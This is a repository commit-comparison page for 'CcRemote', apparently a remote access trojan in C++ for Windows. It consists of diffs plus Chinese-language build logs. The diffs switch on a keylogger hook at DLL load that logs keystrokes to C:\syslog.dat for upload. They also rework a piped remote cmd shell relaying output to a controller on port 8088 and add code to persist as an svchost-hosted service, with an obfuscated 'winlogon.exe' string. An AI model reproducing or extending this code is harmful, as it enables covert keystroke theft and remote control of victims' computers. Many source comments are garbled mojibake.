Compare commits
8 Commits
20200701.1
...
20200704.1
Author | SHA1 | Date | |
---|---|---|---|
![]() |
031d90d7e5 | ||
![]() |
6bec3f39e3 | ||
![]() |
e4df075f41 | ||
![]() |
c5441acbeb | ||
![]() |
4806c0a35f | ||
![]() |
df2f95e29e | ||
![]() |
b41d36ad3d | ||
![]() |
0df44971ee |
@@ -413,6 +413,8 @@ void CClientSocket::Disconnect()
|
||||
InterlockedExchange((LPLONG)&m_bIsRunning, false);
|
||||
closesocket(m_Socket);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>״̬Ϊ<CCAC>б<EFBFBD><D0B1>ǣ<EFBFBD><C7A3>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4>̡߳<DFB3>
|
||||
Sleep(500);
|
||||
|
||||
SetEvent(m_hEvent);
|
||||
//INVALID_SOCKET<45><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
m_Socket = INVALID_SOCKET;
|
||||
|
@@ -1 +1,34 @@
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\servermanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditopt.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
|
||||
|
@@ -15,8 +15,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'geth
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(429): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(484): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(431): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(486): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
until.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(69): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
@@ -127,7 +127,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018:
|
||||
ServerManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
|
||||
ShellManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(54): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
@@ -168,10 +168,14 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4838: 从“
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(225): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(177): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(51): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(51): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(187): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(255): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(256): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
|
||||
StrCry.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”,可能丢失数据
|
||||
|
@@ -1,3 +1,7 @@
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.lib
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.exp
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.ipdb
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.iobj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
|
||||
@@ -24,8 +28,13 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\strcry.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
|
||||
|
@@ -15,8 +15,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'geth
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(429): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(484): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(431): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(486): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
KeyboardManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
@@ -164,10 +164,16 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4838: 从“
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(225): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(177): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(40): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(51): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(51): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(187): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(255): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(256): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
|
||||
StrCry.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”,可能丢失数据
|
||||
@@ -176,6 +182,6 @@ LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
正在生成代码
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
All 372 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
All 376 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||
|
@@ -146,9 +146,9 @@ void CKernelManager::UnInstallService()
|
||||
|
||||
// ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>ļ<EFBFBD>
|
||||
|
||||
char strRecordFile[MAX_PATH];
|
||||
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
|
||||
lstrcat(strRecordFile, "\\syslog.dat");
|
||||
char strRecordFile[MAX_PATH] = {0};
|
||||
//GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
|
||||
lstrcat(strRecordFile, "C:\\syslog.dat");
|
||||
DeleteFile(strRecordFile);
|
||||
|
||||
char winlogon[] = { 0x0c,0xbc,0xa3,0xa7,0xa4,0xa8,0xa1,0xaa,0xaa,0xed,0xa7,0xb9,0xa5 }; //winlogon.exe
|
||||
|
@@ -238,8 +238,8 @@ bool CKeyboardManager::StartHook()
|
||||
|
||||
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
|
||||
|
||||
GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
|
||||
lstrcat(m_pTShared->strRecordFile, "\\syslog.dat");
|
||||
//GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
|
||||
lstrcat(m_pTShared->strRecordFile, "C:\\syslog.dat");
|
||||
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3>Ϳ<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||
if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
|
||||
@@ -295,7 +295,7 @@ int CKeyboardManager::sendOfflineRecord()
|
||||
DWORD dwBytesRead = 0;
|
||||
char strRecordFile[MAX_PATH];
|
||||
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
|
||||
lstrcat(strRecordFile, "\\syslog.dat");
|
||||
lstrcat(strRecordFile, "C:\\syslog.dat");
|
||||
HANDLE hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile != INVALID_HANDLE_VALUE)
|
||||
|
@@ -14,7 +14,8 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
char strShellPath[MAX_PATH] = {0};
|
||||
|
||||
|
||||
m_UserShell = false;
|
||||
m_hReadPipeHandle = NULL;
|
||||
m_hWritePipeHandle = NULL;
|
||||
m_hReadPipeShell = NULL;
|
||||
@@ -23,6 +24,7 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
||||
sa.lpSecurityDescriptor = NULL;
|
||||
sa.bInheritHandle = TRUE;
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
|
||||
{
|
||||
@@ -112,10 +114,10 @@ void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
NotifyDialogIsOpen();
|
||||
return;
|
||||
}
|
||||
|
||||
unsigned long ByteWrite;
|
||||
|
||||
m_UserShell = TRUE;
|
||||
//д<><D0B4><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
|
||||
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &m_ByteWrite, NULL);
|
||||
}
|
||||
|
||||
|
||||
@@ -123,6 +125,7 @@ void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
|
||||
{
|
||||
unsigned long BytesRead = 0;
|
||||
unsigned long BytesReads = 0;
|
||||
char ReadBuff[1024];
|
||||
DWORD TotalBytesAvail;
|
||||
CShellManager *pThis = (CShellManager *)lparam;
|
||||
@@ -137,11 +140,25 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
|
||||
if (BytesRead <= 0)
|
||||
break;
|
||||
memset(ReadBuff, 0, sizeof(ReadBuff));
|
||||
LPBYTE lpBuffers = NULL;
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
|
||||
//<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
|
||||
|
||||
if (pThis->m_UserShell)
|
||||
{
|
||||
lpBuffers = &lpBuffer[pThis->m_ByteWrite - 2];
|
||||
BytesReads = BytesRead - pThis->m_ByteWrite + 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
lpBuffers = lpBuffer;
|
||||
BytesReads = BytesRead;
|
||||
}
|
||||
pThis->m_UserShell = false;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ---->OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
pThis->Send(lpBuffer, BytesRead);
|
||||
pThis->Send(lpBuffers, BytesReads);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
}
|
||||
|
@@ -28,6 +28,8 @@ private:
|
||||
HANDLE m_hThreadRead;
|
||||
HANDLE m_hThreadMonitor;
|
||||
|
||||
unsigned long m_ByteWrite;
|
||||
bool m_UserShell;
|
||||
static DWORD WINAPI ReadPipeThread(LPVOID lparam);
|
||||
static DWORD WINAPI MonitorThread(LPVOID lparam);
|
||||
};
|
||||
|
@@ -80,9 +80,9 @@ DWORD WINAPI Loop_AudioManager(SOCKET sRemote)
|
||||
|
||||
DWORD WINAPI Loop_HookKeyboard(LPARAM lparam)
|
||||
{
|
||||
char strKeyboardOfflineRecord[MAX_PATH];
|
||||
GetSystemDirectory(strKeyboardOfflineRecord, sizeof(strKeyboardOfflineRecord));
|
||||
lstrcat(strKeyboardOfflineRecord, "\\syslog.dat");
|
||||
char strKeyboardOfflineRecord[MAX_PATH] = {0};
|
||||
//GetSystemDirectory(strKeyboardOfflineRecord, sizeof(strKeyboardOfflineRecord));
|
||||
lstrcat(strKeyboardOfflineRecord, "C:\\syslog.dat");
|
||||
|
||||
if (GetFileAttributes(strKeyboardOfflineRecord) != -1)
|
||||
g_bSignalHook = true;
|
||||
|
@@ -3,6 +3,14 @@
|
||||
#include "common/KeyboardManager.h"
|
||||
#include "common/KernelManager.h"
|
||||
#include "common/login.h"
|
||||
#include "common/install.h"
|
||||
|
||||
|
||||
|
||||
char svcname[MAX_PATH];
|
||||
SERVICE_STATUS_HANDLE hServiceStatus;
|
||||
DWORD g_dwCurrState;
|
||||
|
||||
|
||||
char g_strSvchostName[MAX_PATH];//服务名
|
||||
char g_strHost[MAX_PATH];
|
||||
@@ -29,6 +37,8 @@ LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
|
||||
|
||||
DWORD WINAPI main(char *lpServiceName)
|
||||
{
|
||||
//strcpy(g_strHost, "192.168.1.174");
|
||||
g_dwPort = 8088;
|
||||
// lpServiceName,在ServiceMain返回后就没有了
|
||||
char strServiceName[256] = {0};
|
||||
char strKillEvent[50] = { 0 };
|
||||
@@ -192,8 +202,8 @@ BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
CKeyboardManager::g_hInstance = (HINSTANCE)hModule;
|
||||
//CKeyboardManager::m_dwLastMsgTime = GetTickCount();
|
||||
//CKeyboardManager::Initialization();
|
||||
CKeyboardManager::m_dwLastMsgTime = GetTickCount();
|
||||
CKeyboardManager::Initialization();
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
@@ -202,3 +212,71 @@ BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress)
|
||||
{
|
||||
SERVICE_STATUS srvStatus;
|
||||
srvStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
|
||||
srvStatus.dwCurrentState = g_dwCurrState = dwState;
|
||||
srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
|
||||
srvStatus.dwWin32ExitCode = dwExitCode;
|
||||
srvStatus.dwServiceSpecificExitCode = 0;
|
||||
srvStatus.dwCheckPoint = dwProgress;
|
||||
srvStatus.dwWaitHint = 1000;
|
||||
return SetServiceStatus(hServiceStatus, &srvStatus);
|
||||
}
|
||||
|
||||
void __stdcall ServiceHandler(DWORD dwControl)
|
||||
{
|
||||
// not really necessary because the service stops quickly
|
||||
switch (dwControl)
|
||||
{
|
||||
case SERVICE_CONTROL_STOP:
|
||||
TellSCM(SERVICE_STOP_PENDING, 0, 1);
|
||||
Sleep(10);
|
||||
TellSCM(SERVICE_STOPPED, 0, 0);
|
||||
break;
|
||||
case SERVICE_CONTROL_PAUSE:
|
||||
TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
|
||||
TellSCM(SERVICE_PAUSED, 0, 0);
|
||||
break;
|
||||
case SERVICE_CONTROL_CONTINUE:
|
||||
TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
|
||||
TellSCM(SERVICE_RUNNING, 0, 0);
|
||||
break;
|
||||
case SERVICE_CONTROL_INTERROGATE:
|
||||
TellSCM(g_dwCurrState, 0, 0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[])
|
||||
{
|
||||
strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
|
||||
wcstombs(svcname, argv[0], sizeof svcname);
|
||||
hServiceStatus = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler);
|
||||
if (hServiceStatus == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
else FreeConsole();
|
||||
|
||||
TellSCM(SERVICE_START_PENDING, 0, 1);
|
||||
TellSCM(SERVICE_RUNNING, 0, 0);
|
||||
// call Real Service function noew
|
||||
|
||||
g_dwServiceType = QueryServiceTypeFromRegedit(svcname);
|
||||
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
|
||||
do {
|
||||
Sleep(100);//not quit until receive stop command, otherwise the service will stop
|
||||
} while (g_dwCurrState != SERVICE_STOP_PENDING && g_dwCurrState != SERVICE_STOPPED);
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
|
||||
if (g_dwServiceType == 0x120)
|
||||
{
|
||||
//Shared的服务 ServiceMain 不退出,不然一些系统上svchost进程也会退出
|
||||
while (1) Sleep(10000);
|
||||
}
|
||||
return;
|
||||
}
|
@@ -1,16 +1,2 @@
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.idb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.obj
|
||||
g:\ccremote\ccremote\bin\server\loder.ilk
|
||||
g:\ccremote\ccremote\bin\server\loder.exe
|
||||
g:\ccremote\ccremote\ccmaindll\debug\loder.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.res
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
||||
|
@@ -1,3 +1,15 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
LINK : 缺少程序数据库 G:\CcRemote\CcRemote\bin\server\Loder.pdb;正在执行完全链接
|
||||
Loder.cpp
|
||||
